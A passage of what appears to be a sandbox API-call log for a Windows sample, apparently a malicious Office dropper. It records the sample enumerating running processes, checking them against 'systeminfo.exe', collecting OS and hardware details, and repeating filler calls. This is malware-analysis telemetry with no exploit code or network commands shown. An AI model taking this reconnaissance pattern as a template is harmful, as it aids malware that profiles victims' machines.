lpString2="manufacturer-asset.exe" | out: lpString1="manufacturer-asset.exe") returned="manufacturer-asset.exe" [0050.828] lstrlenW (lpString="manufacturer-asset.exe") returned 22 [0050.828] lstrcmpiW (lpString1="analysts-dose.exe", lpString2="systeminfo.exe") returned -1 [0050.828] lstrcpyW (in: lpString1=0x3d1766, lpString2="analysts-dose.exe" | out: lpString1="analysts-dose.exe") returned="analysts-dose.exe" [0050.828] lstrlenW (lpString="analysts-dose.exe") returned 17 [0050.828] lstrcmpiW (lpString1="multimedia-channel-letter-standards.exe", lpString2="systeminfo.exe") returned -1 [0050.828] lstrcpyW (in: lpString1=0x3d178a, lpString2="multimedia-channel-letter-standards.exe" | out: lpString1="multimedia-channel-letter-standards.exe") returned="multimedia-channel-letter-standards.exe" [0050.828] lstrlenW (lpString="multimedia-channel-letter-standards.exe") returned 39 [0050.828] lstrcmpiW (lpString1="eaglesfilterscrimes.exe", lpString2="systeminfo.exe") returned -1 [0050.828] lstrcpyW (in: lpString1=0x3d17da, lpString2="eaglesfilterscrimes.exe" | out: lpString1="eaglesfilterscrimes.exe") returned="eaglesfilterscrimes.exe" [0050.828] lstrlenW (lpString="eaglesfilterscrimes.exe") returned 23 [0050.828] lstrcmpiW (lpString1="dimensionalsubscriptions.exe", lpString2="systeminfo.exe") returned -1 [0050.828] lstrcpyW (in: lpString1=0x3d180a, lpString2="dimensionalsubscriptions.exe" | out: lpString1="dimensionalsubscriptions.exe") returned="dimensionalsubscriptions.exe" [0050.828] lstrlenW (lpString="dimensionalsubscriptions.exe") returned 28 [0050.828] lstrcmpiW (lpString1="literally.exe", lpString2="systeminfo.exe") returned -1 [0050.828] lstrcpyW (in: lpString1=0x3d1844, lpString2="literally.exe" | out: lpString1="literally.exe") returned="literally.exe" [0050.829] lstrlenW (lpString="literally.exe") returned 13 [0050.829] lstrcmpiW (lpString1="instrumentationendorsementcivilizationcommentary.exe", lpString2="systeminfo.exe") returned -1 [0050.829] lstrcpyW (in: lpString1=0x3d1860, lpString2="instrumentationendorsementcivilizationcommentary.exe" | out: lpString1="instrumentationendorsementcivilizationcommentary.exe") returned="instrumentationendorsementcivilizationcommentary.exe" [0050.829] lstrlenW (lpString="instrumentationendorsementcivilizationcommentary.exe") returned 52 [0050.829] lstrcmpiW (lpString1="later_pet_handjobs.exe", lpString2="systeminfo.exe") returned -1 [0050.829] lstrcpyW (in: lpString1=0x3d18ca, lpString2="later_pet_handjobs.exe" | out: lpString1="later_pet_handjobs.exe") returned="later_pet_handjobs.exe" [0050.829] lstrlenW (lpString="later_pet_handjobs.exe") returned 22 [0050.829] lstrcmpiW (lpString1="diamond_hospitals_designs_www.exe", lpString2="systeminfo.exe") returned -1 [0050.829] lstrcpyW (in: lpString1=0x3d18f8, lpString2="diamond_hospitals_designs_www.exe" | out: lpString1="diamond_hospitals_designs_www.exe") returned="diamond_hospitals_designs_www.exe" [0050.829] lstrlenW (lpString="diamond_hospitals_designs_www.exe") returned 33 [0050.829] lstrcmpiW (lpString1="pagespresent.exe", lpString2="systeminfo.exe") returned -1 [0050.829] lstrcpyW (in: lpString1=0x3d193c, lpString2="pagespresent.exe" | out: lpString1="pagespresent.exe") returned="pagespresent.exe" [0050.829] lstrlenW (lpString="pagespresent.exe") returned 16 [0050.829] lstrcmpiW (lpString1="located-purple-team.exe", lpString2="systeminfo.exe") returned -1 [0050.829] lstrcpyW (in: lpString1=0x3d195e, lpString2="located-purple-team.exe" | out: lpString1="located-purple-team.exe") returned="located-purple-team.exe" [0050.829] lstrlenW (lpString="located-purple-team.exe") returned 23 [0050.829] lstrcmpiW (lpString1="pie.exe", lpString2="systeminfo.exe") returned -1 [0050.829] lstrcpyW (in: lpString1=0x3d198e, lpString2="pie.exe" | out: lpString1="pie.exe") returned="pie.exe" [0050.829] lstrlenW (lpString="pie.exe") returned 7 [0050.829] lstrcmpiW (lpString1="cookie_cumulative_bennett_horse.exe", lpString2="systeminfo.exe") returned -1 [0050.829] lstrcpyW (in: lpString1=0x3d199e, lpString2="cookie_cumulative_bennett_horse.exe" | out: lpString1="cookie_cumulative_bennett_horse.exe") returned="cookie_cumulative_bennett_horse.exe" [0050.829] lstrlenW (lpString="cookie_cumulative_bennett_horse.exe") returned 35 [0050.829] lstrcmpiW (lpString1="canvas.exe", lpString2="systeminfo.exe") returned -1 [0050.829] lstrcpyW (in: lpString1=0x3d19e6, lpString2="canvas.exe" | out: lpString1="canvas.exe") returned="canvas.exe" [0050.829] lstrlenW (lpString="canvas.exe") returned 10 [0050.829] lstrcmpiW (lpString1="cliff-filter.exe", lpString2="systeminfo.exe") returned -1 [0050.829] lstrcpyW (in: lpString1=0x3d19fc, lpString2="cliff-filter.exe" | out: lpString1="cliff-filter.exe") returned="cliff-filter.exe" [0050.829] lstrlenW (lpString="cliff-filter.exe") returned 16 [0050.829] lstrcmpiW (lpString1="routing.exe", lpString2="systeminfo.exe") returned -1 [0050.829] lstrcpyW (in: lpString1=0x3d1a1e, lpString2="routing.exe" | out: lpString1="routing.exe") returned="routing.exe" [0050.829] lstrlenW (lpString="routing.exe") returned 11 [0050.829] lstrcmpiW (lpString1="ausarrivedrepresentative.exe", lpString2="systeminfo.exe") returned -1 [0050.829] lstrcpyW (in: lpString1=0x3d1a36, lpString2="ausarrivedrepresentative.exe" | out: lpString1="ausarrivedrepresentative.exe") returned="ausarrivedrepresentative.exe" [0050.829] lstrlenW (lpString="ausarrivedrepresentative.exe") returned 28 [0050.829] lstrcmpiW (lpString1="characters appointed birthday finally.exe", lpString2="systeminfo.exe") returned -1 [0050.829] lstrcpyW (in: lpString1=0x3d1a70, lpString2="characters appointed birthday finally.exe" | out: lpString1="characters appointed birthday finally.exe") returned="characters appointed birthday finally.exe" [0050.829] lstrlenW (lpString="characters appointed birthday finally.exe") returned 41 [0050.829] lstrcmpiW (lpString1="thumbnailsopen.exe", lpString2="systeminfo.exe") returned 1 [0050.829] lstrcpyW (in: lpString1=0x3d1ac4, lpString2="thumbnailsopen.exe" | out: lpString1="thumbnailsopen.exe") returned="thumbnailsopen.exe" [0050.829] lstrlenW (lpString="thumbnailsopen.exe") returned 18 [0050.829] lstrcmpiW (lpString1="ones_pork_tommy_lb.exe", lpString2="systeminfo.exe") returned -1 [0050.829] lstrcpyW (in: lpString1=0x3d1aea, lpString2="ones_pork_tommy_lb.exe" | out: lpString1="ones_pork_tommy_lb.exe") returned="ones_pork_tommy_lb.exe" [0050.829] lstrlenW (lpString="ones_pork_tommy_lb.exe") returned 22 [0050.829] lstrcmpiW (lpString1="farehave.exe", lpString2="systeminfo.exe") returned -1 [0050.829] lstrcpyW (in: lpString1=0x3d1b18, lpString2="farehave.exe" | out: lpString1="farehave.exe") returned="farehave.exe" [0050.829] lstrlenW (lpString="farehave.exe") returned 12 [0050.830] lstrcmpiW (lpString1="los-talks-ooo-focusing.exe", lpString2="systeminfo.exe") returned -1 [0050.830] lstrcpyW (in: lpString1=0x3d1b32, lpString2="los-talks-ooo-focusing.exe" | out: lpString1="los-talks-ooo-focusing.exe") returned="los-talks-ooo-focusing.exe" [0050.830] lstrlenW (lpString="los-talks-ooo-focusing.exe") returned 26 [0050.830] lstrcmpiW (lpString1="efforts-extreme-quantity-reproductive.exe", lpString2="systeminfo.exe") returned -1 [0050.830] lstrcpyW (in: lpString1=0x3d1b68, lpString2="efforts-extreme-quantity-reproductive.exe" | out: lpString1="efforts-extreme-quantity-reproductive.exe") returned="efforts-extreme-quantity-reproductive.exe" [0050.830] lstrlenW (lpString="efforts-extreme-quantity-reproductive.exe") returned 41 [0050.830] lstrcmpiW (lpString1="turner_construction_solve_cialis.exe", lpString2="systeminfo.exe") returned 1 [0050.830] lstrcpyW (in: lpString1=0x3d1bbc, lpString2="turner_construction_solve_cialis.exe" | out: lpString1="turner_construction_solve_cialis.exe") returned="turner_construction_solve_cialis.exe" [0050.830] lstrlenW (lpString="turner_construction_solve_cialis.exe") returned 36 [0050.830] lstrcmpiW (lpString1="WmiPrvSE.exe", lpString2="systeminfo.exe") returned 1 [0050.830] lstrcpyW (in: lpString1=0x3d1c06, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0050.830] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0050.830] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="systeminfo.exe") returned -1 [0050.830] lstrcpyW (in: lpString1=0x3d1c20, lpString2="ONENOTEM.EXE" | out: lpString1="ONENOTEM.EXE") returned="ONENOTEM.EXE" [0050.830] lstrlenW (lpString="ONENOTEM.EXE") returned 12 [0050.830] lstrcmpiW (lpString1="taskeng.exe", lpString2="systeminfo.exe") returned 1 [0050.830] lstrcpyW (in: lpString1=0x3d1c3a, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0050.830] lstrlenW (lpString="taskeng.exe") returned 11 [0050.830] lstrcmpiW (lpString1="explorer.exe", lpString2="systeminfo.exe") returned -1 [0050.830] lstrcpyW (in: lpString1=0x3d1c52, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0050.830] lstrlenW (lpString="explorer.exe") returned 12 [0050.830] lstrcmpiW (lpString1="dwm.exe", lpString2="systeminfo.exe") returned -1 [0050.830] lstrcpyW (in: lpString1=0x3d1c6c, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0050.830] lstrlenW (lpString="dwm.exe") returned 7 [0050.830] lstrcmpiW (lpString1="taskhost.exe", lpString2="systeminfo.exe") returned 1 [0050.830] lstrcpyW (in: lpString1=0x3d1c7c, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0050.830] lstrlenW (lpString="taskhost.exe") returned 12 [0050.830] lstrcmpiW (lpString1="OfficeClickToRun.exe", lpString2="systeminfo.exe") returned -1 [0050.830] lstrcpyW (in: lpString1=0x3d1c96, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0050.830] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0050.830] lstrcmpiW (lpString1="spoolsv.exe", lpString2="systeminfo.exe") returned -1 [0050.830] lstrcpyW (in: lpString1=0x3d1cc0, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0050.830] lstrlenW (lpString="spoolsv.exe") returned 11 [0050.830] lstrcmpiW (lpString1="audiodg.exe", lpString2="systeminfo.exe") returned -1 [0050.830] lstrcpyW (in: lpString1=0x3d1cd8, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0050.830] lstrlenW (lpString="audiodg.exe") returned 11 [0050.830] lstrcmpiW (lpString1="svchost.exe", lpString2="systeminfo.exe") returned -1 [0050.830] lstrcpyW (in: lpString1=0x3d1cf0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0050.830] lstrlenW (lpString="svchost.exe") returned 11 [0050.830] lstrcmpiW (lpString1="lsm.exe", lpString2="systeminfo.exe") returned -1 [0050.830] lstrcpyW (in: lpString1=0x3d1d08, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0050.830] lstrlenW (lpString="lsm.exe") returned 7 [0050.830] lstrcmpiW (lpString1="lsass.exe", lpString2="systeminfo.exe") returned -1 [0050.830] lstrcpyW (in: lpString1=0x3d1d18, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0050.830] lstrlenW (lpString="lsass.exe") returned 9 [0050.830] lstrcmpiW (lpString1="services.exe", lpString2="systeminfo.exe") returned -1 [0050.830] lstrcpyW (in: lpString1=0x3d1d2c, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0050.831] lstrlenW (lpString="services.exe") returned 12 [0050.831] lstrcmpiW (lpString1="winlogon.exe", lpString2="systeminfo.exe") returned 1 [0050.831] lstrcpyW (in: lpString1=0x3d1d46, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0050.831] lstrlenW (lpString="winlogon.exe") returned 12 [0050.831] lstrcmpiW (lpString1="wininit.exe", lpString2="systeminfo.exe") returned 1 [0050.831] lstrcpyW (in: lpString1=0x3d1d60, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0050.831] lstrlenW (lpString="wininit.exe") returned 11 [0050.831] lstrcmpiW (lpString1="csrss.exe", lpString2="systeminfo.exe") returned -1 [0050.831] lstrcpyW (in: lpString1=0x3d1d78, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0050.831] lstrlenW (lpString="csrss.exe") returned 9 [0050.831] lstrcmpiW (lpString1="smss.exe", lpString2="systeminfo.exe") returned -1 [0050.831] lstrcpyW (in: lpString1=0x3d1d8c, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0050.831] lstrlenW (lpString="smss.exe") returned 8 [0050.831] lstrcmpiW (lpString1="System", lpString2="systeminfo.exe") returned -1 [0050.831] lstrcpyW (in: lpString1=0x3d1d9e, lpString2="System" | out: lpString1="System") returned="System" [0050.831] lstrlenW (lpString="System") returned 6 [0050.831] lstrcmpiW (lpString1="[System Process]", lpString2="systeminfo.exe") returned -1 [0050.831] lstrcpyW (in: lpString1=0x3d1dac, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0050.831] lstrlenW (lpString="[System Process]") returned 16 [0050.831] GetCurrentProcessId () returned 0x81c [0050.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OSPPSVC.EXE,WINWORD.EXE,manufacturer-asset.exe,analysts-dose.exe,multimedia-channel-letter-standards.exe,eaglesfilterscrimes.exe,dimensionalsubscriptions.exe,literally.exe,instrumentationendorsementcivilizationcommentary.exe,later_pet_handjobs.exe,diamond_hospitals_designs_www.exe,pagespresent.exe,located-purple-team.exe,pie.exe,cookie_cumulative_bennett_horse.exe,canvas.exe,cliff-filter.exe,routing.exe,ausarrivedrepresentative.exe,characters appointed birthday finally.exe,thumbnailsopen.exe,ones_pork_tommy_lb.exe,farehave.exe,los-talks-ooo-focusing.exe,efforts-extreme-quantity-reproductive.exe,turner_construction_solve_cialis.exe,WmiPrvSE.exe,ONENOTEM.EXE,taskeng.exe,explorer.exe,dwm.exe,taskhost.exe,OfficeClickToRun.exe,spoolsv.exe,audiodg.exe,svchost.exe,lsm.exe,lsass.exe,services.exe,winlogon.exe,wininit.exe,csrss.exe,smss.exe,System,[System Process],", cchWideChar=867, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 867 [0050.831] GetCurrentProcessId () returned 0x81c [0050.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OSPPSVC.EXE,WINWORD.EXE,manufacturer-asset.exe,analysts-dose.exe,multimedia-channel-letter-standards.exe,eaglesfilterscrimes.exe,dimensionalsubscriptions.exe,literally.exe,instrumentationendorsementcivilizationcommentary.exe,later_pet_handjobs.exe,diamond_hospitals_designs_www.exe,pagespresent.exe,located-purple-team.exe,pie.exe,cookie_cumulative_bennett_horse.exe,canvas.exe,cliff-filter.exe,routing.exe,ausarrivedrepresentative.exe,characters appointed birthday finally.exe,thumbnailsopen.exe,ones_pork_tommy_lb.exe,farehave.exe,los-talks-ooo-focusing.exe,efforts-extreme-quantity-reproductive.exe,turner_construction_solve_cialis.exe,WmiPrvSE.exe,ONENOTEM.EXE,taskeng.exe,explorer.exe,dwm.exe,taskhost.exe,OfficeClickToRun.exe,spoolsv.exe,audiodg.exe,svchost.exe,lsm.exe,lsass.exe,services.exe,winlogon.exe,wininit.exe,csrss.exe,smss.exe,System,[System Process],", cchWideChar=867, lpMultiByteStr=0x3d1df8, cbMultiByte=867, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OSPPSVC.EXE,WINWORD.EXE,manufacturer-asset.exe,analysts-dose.exe,multimedia-channel-letter-standards.exe,eaglesfilterscrimes.exe,dimensionalsubscriptions.exe,literally.exe,instrumentationendorsementcivilizationcommentary.exe,later_pet_handjobs.exe,diamond_hospitals_designs_www.exe,pagespresent.exe,located-purple-team.exe,pie.exe,cookie_cumulative_bennett_horse.exe,canvas.exe,cliff-filter.exe,routing.exe,ausarrivedrepresentative.exe,characters appointed birthday finally.exe,thumbnailsopen.exe,ones_pork_tommy_lb.exe,farehave.exe,los-talks-ooo-focusing.exe,efforts-extreme-quantity-reproductive.exe,turner_construction_solve_cialis.exe,WmiPrvSE.exe,ONENOTEM.EXE,taskeng.exe,explorer.exe,dwm.exe,taskhost.exe,OfficeClickToRun.exe,spoolsv.exe,audiodg.exe,svchost.exe,lsm.exe,lsass.exe,services.exe,winlogon.exe,wininit.exe,csrss.exe,smss.exe,System,[System Process],", lpUsedDefaultChar=0x0) returned 867 [0050.831] lstrlenA (lpString="just string") returned 11 [0050.831] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.831] GetLastError () returned 0x12 [0050.831] RtlGetVersion (in: lpVersionInformation=0x290f460 | out: lpVersionInformation=0x290f460*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0050.831] GetNativeSystemInfo (in: lpSystemInfo=0x290f57c | out: lpSystemInfo=0x290f57c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0050.831] lstrlenA (lpString="YKYD69Q_705BA84C") returned 16 [0050.831] GetCurrentProcess () returned 0xffffffff [0050.831] GetLastError () returned 0x12 [0050.831] wsprintfA (in: param_1=0x290f51b, param_2="%X%P" | out: param_1="1F86FP") returned 6 [0050.831] SetLastError (dwErrCode=0x12) [0050.831] GetCurrentProcessId () returned 0x81c [0050.831] GetLastError () returned 0x12 [0050.831] wsprintfA (in: param_1=0x290f51b, param_2="%X%P" | out: param_1="1F870P") returned 6 [0050.831] SetLastError (dwErrCode=0x12) [0050.831] GetCurrentProcessId () returned 0x81c [0050.831] GetCurrentProcessId () returned 0x81c [0050.831] GetCurrentProcessId () returned 0x81c [0050.832] GetCurrentProcessId () returned 0x81c [0050.832] lstrlenA (lpString="just string") returned 11 [0050.832] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.832] GetLastError () returned 0x12 [0050.832] lstrlenA (lpString="just string") returned 11 [0050.832] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.832] GetLastError () returned 0x12 [0050.833] GetLastError () returned 0x12 [0050.833] GetCurrentProcess () returned 0xffffffff [0050.833] GetLastError () returned 0x12 [0050.833] wsprintfA (in: param_1=0x290f3cb, param_2="%X%P" | out: param_1="1F905P") returned 6 [0050.833] SetLastError (dwErrCode=0x12) [0050.833] GetCurrentProcessId () returned 0x81c [0050.833] GetLastError () returned 0x12 [0050.833] wsprintfA (in: param_1=0x290f39f, param_2="%X%P" | out: param_1="1F906P") returned 6 [0050.833] SetLastError (dwErrCode=0x12) [0050.833] GetCurrentProcessId () returned 0x81c [0050.833] GetCurrentProcessId () returned 0x81c [0050.833] GetCurrentProcessId () returned 0x81c [0050.833] GetCurrentProcessId () returned 0x81c [0050.833] lstrlenA (lpString="just string") returned 11 [0050.833] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.833] GetLastError () returned 0x12 [0050.833] GetLastError () returned 0x12 [0050.833] lstrcmpA (lpString1="\x08", lpString2="luck") returned -1 [0050.833] SetLastError (dwErrCode=0x12) [0050.833] GetCurrentProcess () returned 0xffffffff [0050.833] GetLastError () returned 0x12 [0050.833] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1F918P") returned 6 [0050.833] SetLastError (dwErrCode=0x12) [0050.833] GetCurrentProcessId () returned 0x81c [0050.833] GetCurrentProcess () returned 0xffffffff [0050.833] GetLastError () returned 0x12 [0050.833] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1F919P") returned 6 [0050.833] SetLastError (dwErrCode=0x12) [0050.833] GetCurrentProcessId () returned 0x81c [0050.833] GetLastError () returned 0x12 [0050.833] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1F91AP") returned 6 [0050.833] SetLastError (dwErrCode=0x12) [0050.833] GetCurrentProcessId () returned 0x81c [0050.833] GetCurrentProcessId () returned 0x81c [0050.833] GetCurrentProcessId () returned 0x81c [0050.833] GetCurrentProcessId () returned 0x81c [0050.833] lstrlenA (lpString="just string") returned 11 [0050.833] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.833] GetLastError () returned 0x12 [0050.833] GetLastError () returned 0x12 [0050.833] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1F956P") returned 6 [0050.833] SetLastError (dwErrCode=0x12) [0050.833] GetCurrentProcessId () returned 0x81c [0050.834] GetCurrentProcessId () returned 0x81c [0050.834] GetCurrentProcessId () returned 0x81c [0050.834] GetCurrentProcessId () returned 0x81c [0050.834] lstrlenA (lpString="just string") returned 11 [0050.834] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.834] GetLastError () returned 0x12 [0050.834] GetCurrentProcessId () returned 0x81c [0050.834] GetCurrentProcessId () returned 0x81c [0050.834] GetCurrentProcessId () returned 0x81c [0050.834] lstrlenA (lpString="just string") returned 11 [0050.834] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.834] GetLastError () returned 0x12 [0050.834] lstrlenA (lpString="just string") returned 11 [0050.834] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.834] GetLastError () returned 0x12 [0050.834] GetCurrentProcessId () returned 0x81c [0050.834] lstrlenA (lpString="just string") returned 11 [0050.834] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.834] GetLastError () returned 0x12 [0050.834] GetLastError () returned 0x12 [0050.834] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.834] SetLastError (dwErrCode=0x12) [0050.834] GetCurrentProcess () returned 0xffffffff [0050.834] GetLastError () returned 0x12 [0050.834] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1F9CCP") returned 6 [0050.834] SetLastError (dwErrCode=0x12) [0050.834] GetCurrentProcessId () returned 0x81c [0050.834] GetCurrentProcess () returned 0xffffffff [0050.834] GetLastError () returned 0x12 [0050.834] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1F9CDP") returned 6 [0050.834] SetLastError (dwErrCode=0x12) [0050.834] GetCurrentProcessId () returned 0x81c [0050.834] GetLastError () returned 0x12 [0050.834] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1F9CEP") returned 6 [0050.834] SetLastError (dwErrCode=0x12) [0050.834] GetCurrentProcessId () returned 0x81c [0050.834] GetCurrentProcessId () returned 0x81c [0050.834] GetCurrentProcessId () returned 0x81c [0050.834] GetCurrentProcessId () returned 0x81c [0050.834] lstrlenA (lpString="just string") returned 11 [0050.834] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.834] GetLastError () returned 0x12 [0050.834] GetLastError () returned 0x12 [0050.834] GetCurrentProcessId () returned 0x81c [0050.834] lstrlenA (lpString="just string") returned 11 [0050.834] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.834] GetLastError () returned 0x12 [0050.834] GetCurrentProcessId () returned 0x81c [0050.834] GetCurrentProcessId () returned 0x81c [0050.834] GetCurrentProcessId () returned 0x81c [0050.834] lstrlenA (lpString="just string") returned 11 [0050.834] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.835] GetLastError () returned 0x12 [0050.835] GetLastError () returned 0x12 [0050.835] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.835] SetLastError (dwErrCode=0x12) [0050.835] GetCurrentProcess () returned 0xffffffff [0050.835] GetLastError () returned 0x12 [0050.835] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FA76P") returned 6 [0050.835] SetLastError (dwErrCode=0x12) [0050.835] GetCurrentProcessId () returned 0x81c [0050.835] GetCurrentProcess () returned 0xffffffff [0050.835] GetLastError () returned 0x12 [0050.835] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FA77P") returned 6 [0050.835] SetLastError (dwErrCode=0x12) [0050.835] GetCurrentProcessId () returned 0x81c [0050.835] GetLastError () returned 0x12 [0050.835] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FA78P") returned 6 [0050.835] SetLastError (dwErrCode=0x12) [0050.835] GetCurrentProcessId () returned 0x81c [0050.835] GetCurrentProcessId () returned 0x81c [0050.835] GetCurrentProcessId () returned 0x81c [0050.835] GetCurrentProcessId () returned 0x81c [0050.835] lstrlenA (lpString="just string") returned 11 [0050.835] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.835] GetLastError () returned 0x12 [0050.835] GetLastError () returned 0x12 [0050.835] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.835] SetLastError (dwErrCode=0x12) [0050.835] GetCurrentProcess () returned 0xffffffff [0050.835] GetLastError () returned 0x12 [0050.835] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FABCP") returned 6 [0050.835] SetLastError (dwErrCode=0x12) [0050.835] GetCurrentProcessId () returned 0x81c [0050.835] GetCurrentProcess () returned 0xffffffff [0050.835] GetLastError () returned 0x12 [0050.835] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FABDP") returned 6 [0050.835] SetLastError (dwErrCode=0x12) [0050.835] GetCurrentProcessId () returned 0x81c [0050.835] GetLastError () returned 0x12 [0050.835] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FABEP") returned 6 [0050.835] SetLastError (dwErrCode=0x12) [0050.835] GetCurrentProcessId () returned 0x81c [0050.835] GetCurrentProcessId () returned 0x81c [0050.835] GetCurrentProcessId () returned 0x81c [0050.835] GetCurrentProcessId () returned 0x81c [0050.835] lstrlenA (lpString="just string") returned 11 [0050.835] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.835] GetLastError () returned 0x12 [0050.835] GetCurrentProcessId () returned 0x81c [0050.835] GetCurrentProcessId () returned 0x81c [0050.835] lstrlenA (lpString="just string") returned 11 [0050.836] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.836] GetLastError () returned 0x12 [0050.836] GetLastError () returned 0x12 [0050.836] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FB0EP") returned 6 [0050.836] SetLastError (dwErrCode=0x12) [0050.836] GetCurrentProcessId () returned 0x81c [0050.836] GetCurrentProcessId () returned 0x81c [0050.836] GetCurrentProcessId () returned 0x81c [0050.836] GetCurrentProcessId () returned 0x81c [0050.836] lstrlenA (lpString="just string") returned 11 [0050.836] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.836] GetLastError () returned 0x12 [0050.836] GetCurrentProcessId () returned 0x81c [0050.836] GetCurrentProcessId () returned 0x81c [0050.836] lstrlenA (lpString="just string") returned 11 [0050.836] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.836] GetLastError () returned 0x12 [0050.836] GetCurrentProcess () returned 0xffffffff [0050.836] GetLastError () returned 0x12 [0050.836] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FB21P") returned 6 [0050.836] SetLastError (dwErrCode=0x12) [0050.836] GetCurrentProcessId () returned 0x81c [0050.836] GetLastError () returned 0x12 [0050.836] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FB22P") returned 6 [0050.836] SetLastError (dwErrCode=0x12) [0050.836] GetCurrentProcessId () returned 0x81c [0050.836] GetCurrentProcessId () returned 0x81c [0050.836] GetCurrentProcessId () returned 0x81c [0050.836] GetCurrentProcessId () returned 0x81c [0050.836] lstrlenA (lpString="just string") returned 11 [0050.836] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.836] GetLastError () returned 0x12 [0050.836] GetCurrentProcessId () returned 0x81c [0050.836] GetCurrentProcessId () returned 0x81c [0050.836] lstrlenA (lpString="just string") returned 11 [0050.836] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0050.836] GetLastError () returned 0x12 [0050.836] GetLastError () returned 0x12 [0050.836] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0050.836] SetLastError (dwErrCode=0x12) [0050.836] GetCurrentProcess () returned 0xffffffff [0050.836] GetLastError () returned 0x12 [0050.836] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FB66P") returned 6 [0050.836] SetLastError (dwErrCode=0x12) [0050.836] GetCurrentProcessId () returned 0x81c [0050.836] GetCurrentProcess () returned 0xffffffff [0050.836] GetLastError () returned 0x12 [0050.836] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FB67P") returned 6 [0050.836] SetLastError (dwErrCode=0x12) [0050.836] GetCurrentProcessId () returned 0x81c [0050.836] GetLastError () returned 0x12 [0050.836] wsprintfA (in: param_1=0x290f32f, param_2="%X%P" | out: param_1="1FB68P") returned 6 [0050.837] SetLastError (dwErrCode=0x12) [0050.837] GetCurrentProcessId () returned 0x81c [0050.837] GetCurrentProcessId () returned 0x81c [0050.837] GetCurrentProcessId () returned 0x81c [0050.837] GetCurrentProcessId () returned 0x81c [0050.837] lstrlenA (lpString="just string") returned 11 [0050.837] lstrcmpA 